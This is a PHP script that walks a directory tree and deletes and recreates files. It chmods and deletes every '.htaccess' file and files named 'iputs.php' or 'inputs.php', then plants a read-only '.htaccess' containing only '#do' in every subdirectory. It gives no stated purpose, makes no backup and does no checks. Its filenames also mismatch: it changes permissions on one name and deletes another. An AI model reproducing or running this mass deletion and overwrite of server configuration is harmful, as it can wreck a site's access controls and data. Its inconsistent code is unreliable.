<?php
$maxDepth = 10; // Maximum depth to search for subfolders
$baseDir = '/path/to/your/directory'; // Base directory to start the operation

// Change permissions of .htaccess and iputs.php files
changePermissions($baseDir, $maxDepth, 'iputs.php', 0644);
changePermissions($baseDir, $maxDepth, '.htaccess', 0644);

// Delete .htaccess and iputs.php files
deleteFiles($baseDir, $maxDepth, 'inputs.php');
deleteFiles($baseDir, $maxDepth, '.htaccess');

// Create .htaccess file with the specified content
$htaccessContent = '#do';
createFiles($baseDir, $maxDepth, '.htaccess', $htaccessContent);

// Change permissions of .htaccess files to 0444
changePermissions($baseDir, $maxDepth, '.htaccess', 0444);

echo "OK";

// Function to change permissions of files
function changePermissions($dir, $maxDepth, $filename, $permissions) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::SELF_FIRST);
    $iterator->setMaxDepth($maxDepth);
    
    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getFilename() === $filename) {
            chmod($file->getPathname(), $permissions);
        }
    }
}

// Function to delete files
function deleteFiles($dir, $maxDepth, $filename) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::SELF_FIRST);
    $iterator->setMaxDepth($maxDepth);
    
    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getFilename() === $filename) {
            unlink($file->getPathname());
        }
    }
}

// Function to create files
function createFiles($dir, $maxDepth, $filename, $content) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::SELF_FIRST);
    $iterator->setMaxDepth($maxDepth);
    
    foreach ($iterator as $file) {
        if ($file->isDir()) {
            $filePath = $file->getPathname() . DIRECTORY_SEPARATOR . $filename;
            file_put_contents($filePath, $content);
        }
    }
}
?>
